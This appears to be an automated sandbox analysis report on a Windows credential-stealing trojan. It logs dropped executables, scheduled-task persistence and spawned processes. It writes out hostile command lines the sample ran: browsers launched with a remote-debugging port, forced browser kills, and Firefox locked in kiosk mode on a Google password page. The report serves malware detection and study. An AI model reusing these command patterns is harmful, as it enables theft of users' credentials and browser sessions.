Source: 8416d1ef13.exe.23.dr	Static PE information: section name:
Source: 8416d1ef13.exe.23.dr	Static PE information: section name: .idata
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name:
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name: .rsrc
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name: .idata
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: .rsrc
Source: random[1].exe.23.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: 067286f766.exe.23.dr	Static PE information: section name:
Source: 067286f766.exe.23.dr	Static PE information: section name: .rsrc
Source: 067286f766.exe.23.dr	Static PE information: section name: .idata
Source: 067286f766.exe.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: .idata
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: fd9f6e129b.exe.23.dr	Static PE information: section name:
Source: fd9f6e129b.exe.23.dr	Static PE information: section name: .idata
Source: fd9f6e129b.exe.23.dr	Static PE information: section name:
Source: random[2].exe0.23.dr	Static PE information: section name:
Source: random[2].exe0.23.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C53B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C53B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C53B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4DF280

Source: C:\Users\user\DocumentsHCFCAAEBGC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D35A0	0_2_6C4D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54545C	0_2_6C54545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E5440	0_2_6C4E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515C10	0_2_6C515C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522C10	0_2_6C522C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54AC00	0_2_6C54AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54542B	0_2_6C54542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E64C0	0_2_6C4E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD4D0	0_2_6C4FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516CF0	0_2_6C516CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DD4E0	0_2_6C4DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E6C80	0_2_6C4E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5334A0	0_2_6C5334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53C4A0	0_2_6C53C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C500512	0_2_6C500512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFD00	0_2_6C4EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FED10	0_2_6C4FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C510DD0	0_2_6C510DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5385F0	0_2_6C5385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C513E50	0_2_6C513E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F4640	0_2_6C4F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522E4E	0_2_6C522E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F9E50	0_2_6C4F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C546E63	0_2_6C546E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC670	0_2_6C4DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517E10	0_2_6C517E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525600	0_2_6C525600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C539E30	0_2_6C539E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5476E3	0_2_6C5476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DBEF0	0_2_6C4DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFEF0	0_2_6C4EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53E680	0_2_6C53E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F5E90	0_2_6C4F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534EA0	0_2_6C534EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517710	0_2_6C517710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E9F00	0_2_6C4E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C506FF0	0_2_6C506FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DDFE0	0_2_6C4DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5277A0	0_2_6C5277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F8850	0_2_6C4F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD850	0_2_6C4FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51F070	0_2_6C51F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E7810	0_2_6C4E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B820	0_2_6C51B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524820	0_2_6C524820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5450C7	0_2_6C5450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FC0E0	0_2_6C4FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5158E0	0_2_6C5158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5060A0	0_2_6C5060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FA940	0_2_6C4FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B970	0_2_6C52B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B170	0_2_6C54B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ED960	0_2_6C4ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515190	0_2_6C515190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C532990	0_2_6C532990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D9B0	0_2_6C50D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC9A0	0_2_6C4DC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C519A60	0_2_6C519A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C518AC0	0_2_6C518AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51E2F0	0_2_6C51E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F1AF0	0_2_6C4F1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54BA90	0_2_6C54BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C542AB0	0_2_6C542AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D22A0	0_2_6C4D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C504AA0	0_2_6C504AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ECAB0	0_2_6C4ECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D5340	0_2_6C4D5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EC370	0_2_6C4EC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D320	0_2_6C51D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5453C8	0_2_6C5453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF380	0_2_6C4DF380
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C385A8	26_3_00C385A8
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C385A8	26_3_00C385A8
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C3BAFD	26_3_00C3BAFD
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C385A8	26_3_00C385A8
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C385A8	26_3_00C385A8
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C3BAFD	26_3_00C3BAFD
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C385A8	26_3_00C385A8
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C385A8	26_3_00C385A8

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C50CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2464236821.000000006C755000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ofswnyqv ZLIB complexity 0.995019501737685
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998046875
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: Section: lkitmsue ZLIB complexity 0.9940152169738863
Source: random[1].exe.0.dr	Static PE information: Section: secyibqm ZLIB complexity 0.9947168471269296
Source: skotes.exe.19.dr	Static PE information: Section: ZLIB complexity 0.998046875
Source: skotes.exe.19.dr	Static PE information: Section: lkitmsue ZLIB complexity 0.9940152169738863
Source: ae2b9dbc74.exe.23.dr	Static PE information: Section: secyibqm ZLIB complexity 0.9947168471269296
Source: random[1].exe.23.dr	Static PE information: Section: ZLIB complexity 0.9973958333333334
Source: random[1].exe.23.dr	Static PE information: Section: ffvhfheu ZLIB complexity 0.9945565243393074
Source: 067286f766.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9973958333333334
Source: 067286f766.exe.23.dr	Static PE information: Section: ffvhfheu ZLIB complexity 0.9945565243393074
Source: random[1].exe0.23.dr	Static PE information: Section: ofswnyqv ZLIB complexity 0.995019501737685
Source: fd9f6e129b.exe.23.dr	Static PE information: Section: ofswnyqv ZLIB complexity 0.995019501737685

Source: 8416d1ef13.exe.23.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe0.23.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@138/305@99/37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C537030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C537030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\56EHMELN.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8644:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9116:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\d66bc79d-064c-4bc5-a9bb-e90477edb21f.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000000.00000002.2463098321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2464040891.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2451310904.000000001D4AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2463098321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2464040891.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2451310904.000000001D4AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2463098321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2464040891.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2451310904.000000001D4AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 0000002E.00000002.3297892396.00003EDC0095E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe, 00000000.00000002.2463098321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2464040891.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2451310904.000000001D4AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2463098321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2464040891.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2451310904.000000001D4AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2463098321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2451310904.000000001D4AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2463098321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2464040891.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2451310904.000000001D4AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2272568137.000000001D264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189754525.000000001D249000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052A5000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2902359216.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885631000.00000000052C4000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3047193313.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3045781517.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3068637866.0000000005C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2463098321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2451310904.000000001D4AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2463098321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2451310904.000000001D4AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsHCFCAAEBGC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 067286f766.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696426836); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837); user_pref("app.update.lastUpdateTime.xpi-signatur

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2180,i,1193533664594745420,11843900780482775577,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2224,i,493605343487606503,8968169282104063803,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6416 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6448 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCFCAAEBGC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCFCAAEBGC.exe "C:\Users\user\DocumentsHCFCAAEBGC.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe "C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6420 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe "C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe "C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe "C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe"
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe "C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe"
